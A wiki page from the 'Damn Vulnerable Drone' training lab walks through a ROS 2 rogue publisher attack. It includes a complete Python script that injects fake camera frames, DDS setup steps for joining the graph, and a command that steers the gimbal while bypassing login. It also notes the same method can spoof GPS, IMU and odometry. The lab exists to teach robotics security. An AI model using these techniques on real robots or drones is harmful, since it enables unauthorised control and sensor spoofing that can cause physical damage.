Skip to content

ROS 2 Rogue Publisher Injection

Nick Aleks edited this page Jun 3, 2026 · 2 revisions

Inject synthetic sensor frames into the live ROS 2 graph by publishing to the /webcam/image_raw topic.

Damn Vulnerable Drone > Attack Scenarios > Injection > ROS 2 Rogue Publisher Injection

Description

ROS 2 has no built-in publisher authentication. Any participant on the same domain that knows the topic name and message type can publish to it, and matching subscribers will accept the messages alongside the legitimate ones.

This walkthrough injects synthetic frames into /webcam/image_raw while Gazebo's legitimate camera plugin is also publishing. The two streams interleave at the subscriber, which is visually obvious in the RTSP feed (rtsp://10.13.0.3:554/stream1).

The same technique applies to any sensor topic. If the drone published GPS fix on /gps/fix, IMU on /imu/data, or odometry on /odom, you would just retarget the publisher — the attack mechanics are identical. The reason this works is that ROS 2 ships without authentication on the data plane; SROS 2 adds it but is rarely deployed in practice.

Resources


⚠️ Solution Guide

Step 1. Stand up an attacker container on the simulator network

docker pull osrf/ros:humble-desktop
docker run -it --network=simulator --ip=10.13.0.10 \
    --name ros_humble_injector osrf/ros:humble-desktop bash

Step 2. Join the lab's DDS graph

# osrf/ros:humble-desktop ships only rmw_fastrtps_cpp; install the Cyclone RMW
# or every ros2 command aborts with "librmw_cyclonedds_cpp.so: cannot open
# shared object file".
apt-get update && apt-get install -y ros-humble-rmw-cyclonedds-cpp

cat > /etc/cyclonedds.xml <<'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<CycloneDDS xmlns="https://cdds.io/config">
  <Domain id="any">
    <General>
      <AllowMulticast>false</AllowMulticast>
    </General>
    <Discovery>
      <Peers>
        <Peer address="10.13.0.3"/>
        <Peer address="10.13.0.5"/>
      </Peers>
    </Discovery>
  </Domain>
</CycloneDDS>
EOF
export ROS_DOMAIN_ID=42
export RMW_IMPLEMENTATION=rmw_cyclonedds_cpp
export CYCLONEDDS_URI=file:///etc/cyclonedds.xml
source /opt/ros/humble/setup.bash

Step 3. Confirm the topic and its QoS

ros2 topic info /webcam/image_raw -v

Note the QoS for the existing publisher (the gazebo_ros camera plugin). On the migration branch this will be History: KEEP_LAST, Reliability: BEST_EFFORT, Durability: VOLATILE. QoS matching is Request-vs-Offered: a subscriber receives from a publisher only if the publisher's offered reliability is at least as strong as the subscriber's requested reliability (RELIABLE > BEST_EFFORT). So a RELIABLE publisher reaches both RELIABLE and BEST_EFFORT subscribers, while a BEST_EFFORT publisher reaches only BEST_EFFORT subscribers. The companion subscribes BEST_EFFORT, so your injector lands whether it publishes BEST_EFFORT or the default RELIABLE. The script below uses qos_profile_sensor_data anyway — it's lower-overhead and mirrors the profile you just read off -v. (The one case where QoS blocks you is the reverse: reading the BEST_EFFORT camera with a default RELIABLE subscriber returns nothing.)


Step 4. Drop the injector script into the attacker container

Save the following as ros2_rogue_publisher.py:

#!/usr/bin/env python3
import rclpy
from rclpy.node import Node
from rclpy.qos import qos_profile_sensor_data
from sensor_msgs.msg import Image

WIDTH, HEIGHT, RATE = 640, 480, 15.0


def make_payload():
    row = bytearray(WIDTH * 3)
    for x in range(WIDTH):
        if (x // 40) % 2 == 0:
            row[x * 3 + 2] = 255    # bright red
        else:
            row[x * 3 + 2] = 80     # dark red
    return bytes(row) * HEIGHT


class RoguePub(Node):
    def __init__(self):
        super().__init__('rogue_camera_publisher')
        self.pub = self.create_publisher(
            Image, '/webcam/image_raw', qos_profile_sensor_data
        )
        self.timer = self.create_timer(1.0 / RATE, self.tick)
        self.payload = make_payload()

    def tick(self):
        m = Image()
        m.header.frame_id = 'camera_link'
        m.height, m.width = HEIGHT, WIDTH
        m.encoding = 'bgr8'
        m.step = WIDTH * 3
        m.data = self.payload
        self.pub.publish(m)


def main():
    rclpy.init()
    node = RoguePub()
    try:
        rclpy.spin(node)
    except KeyboardInterrupt:
        pass
    finally:
        node.destroy_node()
        rclpy.shutdown()


if __name__ == '__main__':
    main()

Step 5. Watch the legitimate stream, then run the injector

From your Kali host, start watching the RTSP feed:

ffplay rtsp://10.13.0.3:554/stream1

You should see the Gazebo world. Now in the attacker container:

python3 ros2_rogue_publisher.py

Within a second or two, the RTSP feed will start flickering between the legitimate Gazebo frames and the bright-red vertical-bar pattern. The frames are interleaving because both publishers are announcing to the same topic with compatible QoS.


Step 6. Verify with ros2 topic info

ros2 topic info /webcam/image_raw -v

You should now see two publishers on the topic — the simulator and your rogue node.


Bonus target — /gimbal/cmd (steer the camera by injection)

The ros2-migration branch wires the companion-computer's web-UI gimbal direction buttons through a ROS 2 topic. Each click POSTs to /camera/gimbal/<direction> on the companion's Flask app, which publishes a geometry_msgs/msg/Vector3 to /gimbal/cmd (x = tilt delta in degrees, y = pan delta in degrees). An on-board bridge node (gimbal_bridge) subscribes to that topic, accumulates the targets, and publishes a trajectory_msgs/msg/JointTrajectory to /set_joint_trajectory; the Gazebo joint_pose_trajectory plugin loaded by the drone model applies those positions directly to the gimbal's pan/tilt joints. The whole path is pure ROS 2 — it never touches ArduPilot or MAVLink.

From the same attacker container, publish directly to /gimbal/cmd and steer the camera — bypassing the web UI entirely, and without ever authenticating to the companion's /login:

ros2 topic pub --once /gimbal/cmd geometry_msgs/msg/Vector3 \
    "{x: -45.0, y: 30.0, z: 0.0}"

That single message tilts the gimbal 45° down and pans 30° right. While a legitimate operator watches the RTSP feed, an attacker can sweep the camera at will.

Two things make this pedagogically interesting:

  • The Flask gimbal route is gated behind /login (it uses @login_required). The ROS topic is not — there is no authentication on the data plane, so the login control was effectively decorative.
  • Defenders can't tell the difference between web-UI clicks and rogue-publisher injection: the gimbal_bridge subscriber sees the same Vector3 either way.

Why This Works

ROS 2 inherits DDS's open-by-default trust model. A participant that knows the domain ID, topic name, message type, and a compatible QoS profile can publish — there is no certificate, no token, no signature check. The defence is SROS 2, which signs every participant's identity and lets the enclave specify allowed publish/subscribe topics — but few production deployments actually enable it, and even when they do, the keystore is often readable by anyone who pops a shell on the robot.

The same technique applies, unchanged, to:

  • /gps/fix (sensor_msgs/msg/NavSatFix) — feed false position to a navigation stack
  • /imu/data (sensor_msgs/msg/Imu) — induce bad attitude estimates
  • /odom (nav_msgs/msg/Odometry) — confuse localisation
  • Any custom command topic — issue motion commands the operator did not authorise

Clone this wiki locally